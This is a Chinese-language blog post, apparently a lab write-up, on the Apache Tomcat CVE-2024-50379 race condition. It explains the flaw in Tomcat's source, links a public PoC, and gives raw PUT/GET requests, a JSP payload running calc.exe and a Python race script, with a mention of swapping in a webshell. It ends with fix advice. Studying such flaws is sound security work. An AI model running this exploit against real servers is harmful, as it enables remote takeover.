Apache Tomcat - 远程代码执行漏洞 - CVE-2024-50379

Apache Tomcat - 远程代码执行漏洞 - CVE-2024-50379

CVE-2024-50379

漏洞简介

部分版本 Apache Tomcat 由于在验证文件路径时存在缺陷,如果 readonly 参数被设置为 false(这是一个非标准配置),并且服务器允许通过 PUT 方法上传文件,那么攻击者就可以上传含有恶意 JSP 代码的文件。通过不断的发送请求,攻击者可以利用条件竞争漏洞,使得 Tomcat 解析并执行这些恶意文件,从而实现远程代码执行。

Apache 在 CVE-2024-50379 警报中指出:“在负载下同时读取和上传同一文件可能会绕过 Tomcat 的大小写敏感检查,导致上传的文件被视为 jsp,从而导致远程代码执行。”

该漏洞的利用具有以下两个前提:

Tomcat 启用 PUT 方法(在 Tomcat 的 default servlet 配置中将 readonly 设置为 false)。

Tomcat 运行在大小写不敏感的操作系统上,比如 Windows。

CVE评分:9.8/10 等级:高危

影响范围

  • 11.0.0-M1 <= Apache Tomcat < 11.0.2
  • 10.1.0-M1 <= Apache Tomcat < 10.1.34
  • 9.0.0.M1 <= Apache Tomcat < 9.0.98

环境部署

本次实验我是在两台虚拟机上完成的,在Windows10上面部署java8和tomcat服务,然后在kali中不断向Windows10里面的tomcat攻击。

靶机环境准备

以Windows10虚拟机为靶机

下载Windows10虚拟机教程如下

https://blog.csdn.net/Cappuccino_jay/article/details/125536845

以Kali为攻击机(这个应该搞安全的都有了)

java8的安装与配置

参考博客

https://blog.csdn.net/hantaozi/article/details/103697163

Tomcat的安装与配置

下载地址

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.80/bin/
image-20250618140221689

然后就是添加环境变量

参考网上教程

https://blog.csdn.net/m0_74823705/article/details/144201247

然后在bin目录下

image-20250618141740556

启动以后,可以在浏览器中输入

http://localhost:8080

如果出现下图页面则证明成功了

image-20250618142108216

漏洞分析

漏洞原理

在tomocat的配置文件 (conf/web.xml)中可以看到如下内容

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

可以看到当请求的后缀为jsp或jspx的时候交由JSP servlet进行处理请求,此外交给default servlet进行处理请求。

也就是说Tomcat 是禁止直接上传 .jsp 文件的,因为后缀为小写的 .jsp 文件,当用户访问时,Tomcat 会交给 jspServlet 处理,而从处理代码没有发现处理HTTP PUT类型的操作。而当用户访问后缀为大写的 .JSP 文件时,Tomcat 会交给 defaultServlet 处理,defaultServlet 在处理文件时,会直接把文件内容返回给浏览器,并不会直接执行它。

当default servlet处理PUT请求时逻辑如下

@Override
    protected void doPut(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {

        if (readOnly) {
            sendNotAllowed(req, resp);
            return;
        }

        String path = getRelativePath(req);

        WebResource resource = resources.getResource(path);

        Range range = parseContentRange(req, resp);

        if (range == null) {
            // Processing error. parseContentRange() set the error code
            return;
        }

        InputStream resourceInputStream = null;

        try {
            // Append data specified in ranges to existing content for this
            // resource - create a temp. file on the local filesystem to
            // perform this operation
            // Assume just one range is specified for now
            if (range == IGNORE) {
                resourceInputStream = req.getInputStream();
            } else {
                File contentFile = executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            }

            if (resources.write(path, resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
                } else {
                    resp.setStatus(HttpServletResponse.SC_CREATED);
                }
            } else {
                resp.sendError(HttpServletResponse.SC_CONFLICT);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    resourceInputStream.close();
                } catch (IOException ioe) {
                    // Ignore
                }
            }
        }
    }

可以看到会去检查配置文件中的readonly的值是否为false,如果是true的话就直接return也就是不允许put请求。

但是如果Tomcat的readonly属性的值是true的话,就允许put请求。

也就是说readonly是用来控制 default servlet 是否允许读写的,默认情况下,readonly 值为 true,表示 default servlet 仅支持读取文件,不允许通过 HTTP 请求(如 PUT 或 DELETE)修改或删除文件。当该参数设置为 false 时,就代表允许 default servlet 进行读写操作,这意味着客户端可以通过 HTTP 请求(如 PUT 或 DELETE)上传,修改或者删除服务器上的文件。说到这里其实都是CVE-2017-12615里的内容。

在这个基础上再看看CVE-2024-50379

原理:

# 默认Servlet配置问题

如果Tomcat的默认Servlet启用了写权限,即readonly初始化参数被设置为false,并且允许PUT方法上传文件,攻击者就能够上传包含恶意JSP代码的文件,通过不断发送请求,利用条件竞争触发Tomcat对这些文件的解析和执行,最终导致远程代码执行漏洞。

# Tomcat路径校验逻辑缺陷与条件竞争(TOCTOU 竞态 + 大小写不敏感)
当并发执行PUT xxx.Jsp和GET xxx.jsp请求时,会出现条件竞争。在PUT请求的文件还未完全落地时,文件系统中出现临时文件(如 `evil.Jsp.tmp`),但 `evil.Jsp` 尚未创建。这个时候GET请求到达后,Tomcat会先进行安全检查。

GET请求 evil.jsp时路径检验的代码概括如下:

String absPath = file.getAbsolutePath();
String canPath = file.getCanonicalPath();  // 获取文件的“规范路径”
if (!canPath.equals(absPath)) {
    if (!canPath.equalsIgnoreCase(absPath)) {
        logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);
    }
    return null;
}
if (!file.exists()) {
    return; // 文件不存在
}
// 资源合法,继续处理

如果在 file.getCanonicalPath() 调用时,文件尚未“落地”(就是还未创建好),getCanonicalPath()返回的是“规范路径”,它会根据文件是否存在来取值如果文件不存在就返回输入路径(如 .../evil.jsp),如果文件存在则返回真实路径,值得一提的是如果evil.Jsp被创建成功了,Windows系统找evil.jsp会找到Jsp从而判定存在返回(.../evil.Jsp)。而file.getAbsolutePath()返回的则是当前的请求路径(如 .../evil.jsp)。
也就是说,当PUT请求的文件尚“未落地”的时候其实evil.jsp和evil.Jsp都不存在。
absPath = "...\evil.jsp"
canPath = "...\evil.jsp"
这样if (!canPath.equals(absPath))->false   #"evil.jsp" == "evil.jsp"所以不进入if块继续处理。
如果在这之后PUT请求落地了,也就是evil.Jsp被成功创建了,之后检查文件是否存在file.exists()由于Windows对大小写不敏感所以找到evil.Jsp所以会认为存在。

这个时候GET请求的安全检查已经完成,后面就是执行尝试读取文件evil.jsp。Windows找到evil.Jsp交给JspServlet进行执行,从而就执行了我们在evil.Jsp中写的恶意代码,RCE达成。

所以综上所述

漏洞利用必须满足两个矛盾状态

  1. 路径校验时文件"不存在"
    getCanonicalPath() 返回小写路径(请求文件路径) → 通过路径校验canPath.equals(absPath)

    1. 进行file.exists()前文件存在
      → 如果在file.exists()前PUT请求的evil.Jsp成功创建便可以通过file.exists()(因为Windows对大小写不敏感找不到evil.jsp就会将evil.Jsp当作它)
      → 通过安全检验,加载 evil.Jsp 并当作 evil.jsp 执行

流程图如下

image-20250629233137632

如何利用漏洞

知道了上面的信息,接下来说一下怎么利用这个漏洞

  1. 攻击者开启一个程序,不断的向服务端上传 test.JSP 文件。(大写JSP)
  2. 由于服务器的配置问题(readonly为false),所以上传的文件被default servlet 进行处理,并且能够成功上传。
  3. 攻击者又开启一个程序,不断的尝试请求服务端的 test.jsp 文件。
  4. 服务器收到请求以后,通过条件竞争绕过安全检验,并由于Windows不区分大小写,使得JSP文件被jspservlet处理并解析,这就造成了RCE的漏洞。

漏洞复现

复现之前首先要修改配置文件为存在漏洞的配置文件

打开Tomcat目录下的conf下的web.xml

搜索defalut

image-20250625200411661

默认是没有readonly那一栏的,我们手动填加上readonly并设置为false,然后我们便可以开始复现了。

本次CVE漏洞在github上有大佬写好的POC,我便借助了大佬写好的POC完成的复现。

POC下载地址

https://github.com/SleepingBag945/CVE-2024-50379/releases/tag/f

由于我是在kali里运行的POC,所以我下载的是linux版本

image-20250618145549806

将其下载后直接拖到kali里,这是一个可执行程序可以直接通过./执行。

在执行之前先在Windows10虚拟机上将Tomcat服务启动。然后按下图执行

image-20250618145728924

其中-u 后面跟着的是运行tomcat服务器的主机ip。-f 后面的是在攻击主机上jsp文件名(可以理解为想上传的jsp文件)。-p 后面的是在目标主机上保存的文件名这个起什么都可以

执行以后等待一段时间,如果出现利用成功:http://目标ip地址/test.jsp 就说明攻击成功了。

这个时候就相当于将test.jsp文件上传到tomcat服务器了(为什么说是相当于,后面会解释)

其中我在kali中写的test.jsp内容如下

<% Runtime.getRuntime().exec("calc.exe");%>

就是一个简单的调用计算器并无危害。

现在,只要我们只要一使用浏览器访问上面这个地址http://192.168.45.138,靶机中就会执行 test.jsp 文件,就会弹出一个计算器(我这里就通过 Linux 的 curl 命令来模拟浏览器访问):

image-20250618150429655

这时候切到靶机上去看一下

image-20250618150446299

发现弹了很多的计算器出来。

当然我们将test.jsp的内容换成别的,比如写入jsp木马,那样我们便能控制住服务器了。

POC的实现原理

Tomcat会将上传成功的文件保存到webapps/ROOT下

我们运行完POC后立马切到此目录下观察。

image-20250618151042089

图中圈中的两个文件就是POC一开始上传的文件,分别在浏览器中访问试试

image-20250618151200670

和我们前面分析的一样,当你访问 .Jsp 这种包含大写字母的文件扩展名,会交给default servlet处理也就是直接显示文件内容,而不会执行。上面那个就是 POC 创建的文件,其实逻辑很简单,content 变量里就是我们在kali里写的恶意程序经过 base64 编码后的内容,我们可以解码看看

解码后
<% Runtime.getRuntime().exec("calc.exe");%>

然后代码中剩下的部分则是在目标服务器创建一个test.jsp文件,并将Content里的内容写如文件中。只要这个文件被执行就会创建test.jsp文件。

然后POC程序便会不断的发送Get请求去访问ifyWYZXB2.jsp,同时不断的发送PUT请求上传ifyWYZXB2.Jsp,在PUT请求还未落地 GET请求先到来的极小的时间间隙里,可以绕过一系列的安全检验,最后由于Windows对大小写不敏感就回去找ifyWYZXB2.Jsp然后将其送到jspservlet将其当作jsp解析了,这样test.jsp就被创建并保存在了ROOT下。(这就是我为什么说相当于在服务器上上传了一个文件)

既然"上传到"了服务器的根目录,那么便可以直接根据路径去访问,每访问一次就会执行里面的jsp代码(也就是弹一次计算器)。

手动实现

当然还可以手动复现,只不过我试过很多次,成功率不高(原因可能是系统内存和核心太高了处理起来太快了)

我们可以手动构造两个包然后在Yakit里并发的发包

第一个

PUT /test1.Jsp HTTP/1.1
Host: 192.168.45.138:8080

<% Runtime.getRuntime().exec("calc.exe");%>

并发10000 20

第二个

GET /test1.jsp HTTP/1.1
Host: 192.168.45.138:8080

并发10000 5000

我们还可以通过跑python脚本

成功率也不高

脚本里的地址换成自己的

import asyncio
import aiohttp

async def send_request(session, method, url, data=None):
    try:
        async with session.request(method, url, data=data) as response:
            print(f"Request to {url} completed with status {response.status}")
            return await response.text()
    except Exception as e:
        print(f"Request to {url} failed: {e}")
        return None

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = []
        for _ in range(10000):  # 循环100次
            tasks.append(send_request(session, 'PUT', 'http://192.168.45.138:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
            tasks.append(send_request(session, 'PUT', 'http://192.168.45.138:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
            tasks.append(send_request(session, 'GET', 'http://192.168.45.138:8080/evil.jsp'))

        # 并发执行所有任务
        responses = await asyncio.gather(*tasks)

        # 打印部分响应结果(可选)
        for i, response in enumerate(responses):
            if response:
                print(f"Response {i+1}: {response[:100]}...")

# 运行主函数
asyncio.run(main())

当然可以Yakit和脚本一起跑成功率会高一点

漏洞修复

修复比较简单,这个漏洞只是会在某些服务器配置下会产生,但是由于影响的范围非常广,并且一旦被利用危害很大,所以被列为高危漏洞了。

以下是修复建议

  1. 将Tomcat更新为>=11.0.2、>=10.1.34、>=9.0.98版本
  2. 将readonly设置为Yes
  3. 禁用PUT方法
  4. 选择对大小写敏感的操作系统部署服务
点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注